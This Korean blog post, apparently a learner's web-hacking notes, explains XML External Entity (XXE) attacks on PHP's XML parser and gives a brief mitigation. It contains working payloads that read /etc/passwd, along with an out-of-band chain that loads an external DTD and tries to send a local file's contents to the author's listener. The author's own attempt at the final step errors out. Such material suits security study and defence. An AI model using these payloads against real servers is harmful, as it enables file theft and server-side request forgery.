eXternal Entity ATTACK

XML에서 동적으로 외부 리소스를 받아오기 위해 external entity를 사용할 때, XML Request를 파싱하는 페이지에서 발생
  • SSRF를 유도할 수 있다.
  • Port Scan을 수행할 수 있다.

Mitigation

XML은 보통 불특정 client와 통신하는데 사용되기 때문에 DTD 요소들을 선택적으로 validate, escape하는 것이 어렵다. 따라서 XML processor가 XML document에 포함된 다른 DTD를 거부하고 local static DTD만 사용하도록 설정해야 한다.
```php
libxml_disable_entity_loader(true)
libxml_use_internal_errors(true)    // 이 것도 해주면 좋다.
```

DTD(Document Type Definition), <ENTITY>

```xml
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY var "asdfqwer">
]>
<result>&var;</result>
```
```
asdfqwer
SimpleXMLElement Object ( [var] => SimpleXMLElement Object ( [var] => asdfqwer ) )
```

eXternal Entity, SYSTEM / PUBLIC

URI로는 외부 서버 주소 또는 파싱이 이루어지는 서버에서 지원하는 wrapper를 사용할 수 있음
```xml
<!ENTITY var PUBLIC "" "http://127.0.0.1:8080/web/hack/xxe/hello">
<!ENTITY var SYSTEM "http://url">
<!ENTITY var SYSTEM "file://path">
<!ENTITY var SYSTEM "gopher://">
...
```

```xml
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY var SYSTEM "file:///etc/passwd">
]>
<result>&var;</result>
```
```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...
SimpleXMLElement Object ( )
```
* ``c simplexml_load_string( , ,LIBXML_NOENT)``를 주면 ENTITY reference(e.g., ``c &var;``)를 모두 실행 결과로 대체해버린다. 따라서 Object가 비어있게 된다. 이 flag를 주지 않으면 external entity가 resolve(=expand) 되지 않는다.

Out-of-band data retrieval

PARAMETER ENTITY Declaration

서버에서 외부 리소스를 불러온 결과 데이터를 출력해주지 않게 대부분이므로 Out-of-band 방식으로 데이터를 받아보아야 한다.

EXTERNAL (PARSED) PARAMETER ENTITY Declaration: LOAD
외부 .dtd를 불러오는데 사용하는데, 정의하고 나서 바로 뒤에 ``c %var``를 적으면 해당 변수를 resolve하기 위해 외부 리소스에 요청하게 된다. 즉 ``c %load``를 문자열에 넣거나 하는게 아니라, 그냥 적어주면 이를 파싱하면서 외부 리소스 요청이 일어난다.
```xml
<?xml version="1.0"?>
<!DOCTYPE dtd[
 <!ENTITY % load SYSTEM "http://127.0.0.1:8779">%load;
]>
<result></result>
```
```bash
$ nc -l -p 8779
GET / HTTP/1.0
Host: 127.0.0.1:8779
```
이런 식으로.

INTERNAL (PARSED) PARAMETER ENTITY Declaration: EJECT
Note ) External Param과 다르게 실제로 ``c % eject``가 사용될 때 요청한다.
```xml
<!ENTITY % eject "this is Internal Parameter">
```

다음과 같이 사용하면 될 것 같지만, 안된다.
```xml
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY % intparam "this is Internal Parameter">
<!ENTITY var "var include this : %intparam;">
]>
<result></result>
```
Note ) Parameter entity references는 internal DTD 내부에서 사용될 수 없다. 즉, external DTD에서만 사용할 수 있다.

따라서 다음과 같은 방식으로 사용해야만 한다.
  1. Internal parameter entity를 internal dtd(현재 parse되는 dtd) 또는 external.dtd에 선언한다.
  2. external.dtd를 구성한다. 이 때 Internal parameter entity를 사용할 수 있다. (어디에 선언되어 있든.)
  3. internal dtd에서 External parameter entity를 이용해 external.dtd를 불러온다.

```xml
<?xml version="1.0"?>
<!DOCTYPE dtd[
 <!ENTITY % intparam SYSTEM "file:///home/ubuntu/workspace/web/hack/xxe/hello">
 <!ENTITY % load SYSTEM "http://127.0.0.1/xxe/external.dtd">%load;
]>
<result>&var;</result>
```
external.dtd :
```xml
<!ENTITY % ext_intparam "this is Internal Parameter">
<!ENTITY var "var include this : %ext_intparam;">
<!ENTITY var2 "var2 include this : %intparam;">
```
result :
```
var include this : this is Internal Parameter
SimpleXMLElement Object ( )
```

Limitation

  1. DTD에 내용을 삽입하거나, DTD 자체를 삽입할 수 있어야 함.
    * DTD는 XML문서 당 하나만 존재할 수 있다.
  2. SYSTEM으로 불러오는 external resource가 DTD 문법에 어긋나지 않아야 함.
  3. Binary는 불러올 수 없음.

Retrieve

서버 측에서 parse되는 XML의 DTD를 조작할 수 있다고 가정. 이 DTD가 Internal dtd다.
  1. Internal dtd에 Internal Parameter Entity를 사용해 읽어올 데이터를 Entity로 지정.
  2. external.dtd를 내 서버에 올려두고, 1에서 선언한 Entity를 external.dtd에서 불러오도록 함. 이 때 단순히 불러오는 것 만으로는 출력되지 않기 때문에 다시 내 서버로 External entity 요청하여 내 서버 측 로그에 유출 데이터가 찍히도록 함.
  3. External Parameter Entity를 이용해 타겟 서버의 Internal dtd가 external.dtd를 불러오도록 xml 삽입.
    * 보내는 데이터에 개행이 포함되어 있는 경우 `` http`` 대신 `` ftp | gopher``를 사용한다.

Injection dtd
```xml
<?xml version="1.0"?>
<!DOCTYPE dtd[
 <!ENTITY % eject SYSTEM "file:///home/ubuntu/workspace/web/hack/xxe/hello">
 <!ENTITY % load SYSTEM "http://127.0.0.1:8080/web/hack/xxe/external.dtd">%load;
]>
<result></result>
```
external.dtd
```xml
<!ENTITY % var SYSTEM "http://127.0.0.1:8123/%eject;">%var;
============
parser error : Invalid URI: http://127.0.0.1:8123/%eject;
```
이렇게 구성하면 될 것 같지만, external.dtd에서 ``c % var``를 파싱하는 시점에 아직 ``c % eject``가 resolve되지 않아 Invalid URI가 발생.

``c % eject``는 실제로 사용될 때 resolve되므로, 이를 문자열에 넣는 식으로 한 번 더 거쳐야 한다.

```xml

<!ENTITY % var "<!ENTITY &#x25; result SYSTEM 'http://127.0.0.1:8123/%eject;'>">%var; %result;

============

parser error : Invalid URI: http://127.0.0.1:8123/hello

```

그러나 resolve 되었음에도, Invalid URI가 발생한다.



'Security > WebHacking' 카테고리의 다른 글

redis를 통해 webshell upload  (0) 2017.10.05
Error-based SQL injection  (0) 2017.09.23
[PHP] hack  (0) 2017.09.21
Unsafe redirect  (1) 2017.09.21
SSRF  (1) 2017.09.19